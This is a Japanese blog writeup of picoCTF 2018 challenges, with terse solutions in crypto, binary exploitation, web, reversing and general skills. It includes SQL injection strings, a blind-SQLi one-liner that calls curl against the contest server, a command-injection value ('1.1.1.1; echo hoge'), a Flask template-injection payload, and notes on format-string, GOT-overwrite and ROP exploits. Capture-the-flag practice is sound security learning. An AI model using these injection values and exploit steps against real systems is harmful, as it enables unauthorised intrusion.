3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

picoCTF 2018 writeup

Last updated at Posted at 2018-10-13

問題数多いですね、ひたすらやりました。
26335ptsで、たぶん93位です。

CTF、たいていディレクトリがぐちゃぐちゃになるので、今回/tmpで作業をしていて、特に保存したものを除いて多くのソースコードは失われています。

大量なので雑に書きます、もっと書けというのがあればリクエストしてもらえれば書かないでもないかもしれません。書かれるかどうかは別にして、お気軽にどうぞ。

ジャンル別で書きます。

Crypto

Crypto Warmup 1

tableを見ると、明らかにvigenere
https://cryptii.com/pipes/vigenere-cipher

Crypto Warmup 2

rot13
https://www.rot13.com/

HEEEEEEERE'S Johnny!

john the ripper

caesar cipher 1

caesar
https://cryptii.com/pipes/caesar-cipher

hertz

quipqiupは最高
https://quipqiup.com/

blaise's cipher

vigenere、Blaiseさんらしい
https://www.guballa.de/vigenere-solver

hertz 2

quipqiupは最高

Safe RSA

nよりcが小さい、eも小さい => p^e < nなのでcの三乗根を適当に求める

[(1..x).bsearch{|y| y**3 >= x}.to_s(16)].pack("H*")

caesar cipher 2

バイナリっくcaesar。

256.times.map{|i| x.bytes.map{|b|b+i}.pack("C*")}.find{|d| d.include? 'pico'}

rsa-madlibs

pari/gpでがんばっていく。手作業でやると時間足りないけど、問題は毎回同じだから、答えをメモりながら進めていく。

n = p * q
phi = (p-1) * (q-1)
d = lift(1/Mod(e,phi))
p = Mod(c,n)^d

SpyFi

この手の問題、またあるだろうしスクリプトめんどいのでまとめた
ECBなので、block sizeが16byteであることも考えて、fying code is: ?の1文字をあてるため、

[16*n bytes data]fying code is: afying code is: bfying code is: c...fying code is: zPADDING_DATA[data]

の暗号文のなかで、2回でてくる暗号ブロックを探す。

Super Safe RSA

nがたったの260bit程度。msieveで力技で素因数分解する。今やったら3min 49secで解けた。

eleCTRic

毎回カウンタの初期値が一緒。
flag_xxxxxxxxxxxxxxxxxxxx.txtの暗号結果を当てたいわけなので、
flag!xxxxxxxxxxxxxxxxxxxx.txtをファイル名にしたshare codeを作って、
!の位置のbyteを256個全探索してdecryptする。

Magic Padding Oracle

今回の知見of the CTFなので、まとめた

Super Safe RSA 2

eがでかいので雑にWiener's attackを試す。あたった。

Super Safe RSA 3

factorコマンドで十分。

James Brahm Returns [まだ]

(なんかがんばって解けてしまった、いつか書く)

Binary Exploitation

buffer overflow 0

SEGVさせるだけで勝ち、strcpyは悪い子

buffer overflow 1

winのアドレスはnmとかで調べる。
そのアドレスをリトルエンディアンで1000個くらい書いて送る。

leak-me

nameにたくさんデータを入れると、strcatでNULL byteがうしろに動いて、それでpassword fgetsで上書きされる。Hello, password.

shellcode

shell-stormとかから適当に持ってくる

buffer overflow 2

やっていく。nmとかでwinを調べる。
本番のときは引数の順番とか忘れたので両方試した。あとleadingのサイズも1000/4個くらい試した。

got-2-learn-libc

サーバ上でlddしてlibcのパス調べて、putsとsystemのアドレスの差分を調べて、systemにuseful stringを渡す。

echooo

flag_ptrをローカル変数にのせてくれているので、それを%pでleakしたあとに、%sする。
でも今考えたら、べつに%sしなくても%[n]$pをたくさんならべるだけでいい気がする。

authenticate

%nでauthenticatedに適当なものを書く

got-shell?

exit GOTにwinのアドレスを書く。

rop chain

win_function1 addr
win_function2 addr
flag addr
0xBAAAAAAD
0xDEADBAAD

buffer overflow 3

まぁcanary.txtがFIFOとかだったらウケるけど、固定っぽいので、1byteずつ当てていく。

echo back

ソースコード失ってしまった。あとで書き直して載せる。
入力をprintfしてる。確かGOT overwriteでprintfをsystemにして、putsをvuln(i.e. 0x080485ab)とかにした気がする。

are you root?

mallocしているのはuser構造体=12byteなのに、freeしているのはstrdupでとってきたuser->name。

> login aaaaaaaaABCD
> reset
> login a
> show
Logged in as a [1145258561]

gps

シェルコードにNOP sledを添えて。(後者のほうが大きいが)

can-you-gets-me

やる、としか言いようがない。
S

Web Exploitation

Inspect Me

cssとjsとhtmlを覗く。どうして3つに分けなかったんだろう。

Client Side is Still Bad

HTMLを覗く。
standard MD5 implementationは一体どこへ。

Logon

CookieのadminをTrueにする

Irish Name Repo

SQLi。admin'--

No Login [たすけて、とけない]

たすけて、とけない

Secret Agent

Chrome DevtoolでUserAgentをgooglebotにする

Buttons

Chrome Devtoolで<input type="submit">を追加する

The Vault

SQLi。admin'-- (既視感)

Artisinal Handcrafted HTTP 3

がんばってGET, POSTをする。

POST / HTTP/1.1
Host: flag.local
Content-Length: xxx
Content-Type: application/ww-url-form-encoded

xxx

みたいな。

Flaskcards

{{config}}

fancy-alive-monitoring

サーバ側のチェックは末尾のほうが甘いので、1.1.1.1; echo hogeとかが通る。

Secure Logon

AESのIVをいじってadminを1にする。

Flaskcards Skeleton Key

{{config}}でSECRET_KEYを抜いたら、同じSECRET_KEYで適当なFlaskサーバを立てて、適当なCookieに署名させる。

A Simple Question

blind SQLi。

a=[*?A..?Z,*?a..?z,*?1..?9].sort.reverse
100.times.inject(""){|s,x| p s;s+a.bsearch{|c| `curl -Fanswer="'or answer>='#{s+c}'-- " http://2018shell3.picoctf.com:15987/answer2.php`.tap{|x| p x}.include? "close"}} 

Flaskcards and Freedom

template injectionでshellとる。

General Skills

General Warmup 1-3, Resources, grep 1, net cat, strings, pipe

はい

grep 2

find -type f | xargs fgrep pico

Aca-Shell-A

クソ問っぽい

ls
cd secret
ls
rm intel*
echo 'Drop it in!'
cd ..
cd executables
ls
./dontLookHere
cd ..
whoami
cd ..
cp /tmp/TopSecret passwords
cd passwords
cat TopSecret

environ

env

ssh-keyz

.

what base is this?

がんばる

you can't see me

cat [Tab]

absolutely relative

home directoryで実行

in out error

grep picoしたらでてきた

learn gdb

gdbで実行して、タイミングよくCtrl-Cして、x/s flag_buf

roulette

get_longは最後の一桁でLONG_MAXを超えてもそのまま返る。これをsignedでみれば負の数なので、負の金額掛けられる。
ローカルでパッチ当ててrand当てをして3回当てたあと、負の額掛けて負ける。

store

1000掛けて負の数になる個数だけ偽物を買う。

Reversing

Reversing Warmup 1

revのwarmupはstringsしとけばいいって相場が決まってる

Reversing Warmup 2

decodeするんじゃ

assembly-0

引数のどちらかを返しているっぽいので両方submitしてみる

assembly-1

.data
fmt:
.asciz "0x%x\n"

.text
.globl main
main:
    push 0x15e
        call asm1
        push eax
.att_syntax
        push $fmt
.intel_syntax noprefix
        call printf
        call exit

これくっつけて実行する

be-quick-or-be-dead-1

ループ終了条件の値でcall calculate_keyをmov eax, valueとバイナリエディタ(vim)でつぶす。

quackme

読んでXORする。

assembly-2

assembly-1と同じ

be-quick-or-be-dead-2

関数名的にフィボナッチなので、1015番目のフィボナッチ数でcallをつぶす

be-quick-or-be-dead-3

6項間漸化式をrubyに書き直して、つぶす。

quackme up

本番は真面目に読んだけど、よく見たらこれただの辞書作り問題っぽい。

a=[*?a..?z,*?A..?Z,*?0..?9,?{,?},?_]; a.join
b='00 30 20 50 40 70 60 90 80 B0 A0 D0 C0 F0 E0 11 01 31 21 51 41 71 61 91 81 B1 02 32 22 52 42 72 62 92 82 B2 A2 D2 C2 F2 E2 13 03 33 23 53 43 73 63 93 83 B3 15 05 35 25 55 45 75 65 95 85 A1 C1 E3'.split
c='11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1'.split
puts c.map{|x| a[b.index x]}

Radix's Terminal

クソ問っぽい。
radix = base -> base64
strings -n20 radix | head -n1 | base64 -d

assembly-3

assembly-1と同じ。

keygen-me-1

16文字目がチェックディジット。頑張って読む。もしくはそれだけ気づいたら、16文字目全探索してもいいかもしれない。

assembly-4

nasm -f elf comp.nasm
gcc -m32 comp.o
./a.out

keygen-me-2

z3に解かせる式をもってくるのがめんどうくさい...

circuit123

def verify_z3(x, chalbox):
    length, gates, check = chalbox
    b = [Bool("x%d" % i) for i in range(length)]
    for name, args in gates:
        if name == 'true':
            b.append(True)
        else:
            u1 = Xor(b[args[0][0]] , args[0][1])
            u2 = Xor(b[args[1][0]] , args[1][1])
            if name == 'or':
                b.append(Or(u1 , u2))
            elif name == 'xor':
                b.append(Xor(u1 , u2))
    s = Solver()
    s.append(Xor(b[check[0]], check[1]))
    print(s.check())
    print(s.model())
    return

verifyをこれに置き換える。

Forensics

そろそろ書くのが面倒。勘弁:bow:

solved:

  • Forensics Warmup 1
  • Forensics Warmup 2
  • Desrouleaux
  • Reading Between the Eyes
  • Recovering From the Snap
  • admin panel
  • hex editor
  • Truly an Artist
  • now you don't
  • What's My Name?
  • core
  • LoadSomeBits
3
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?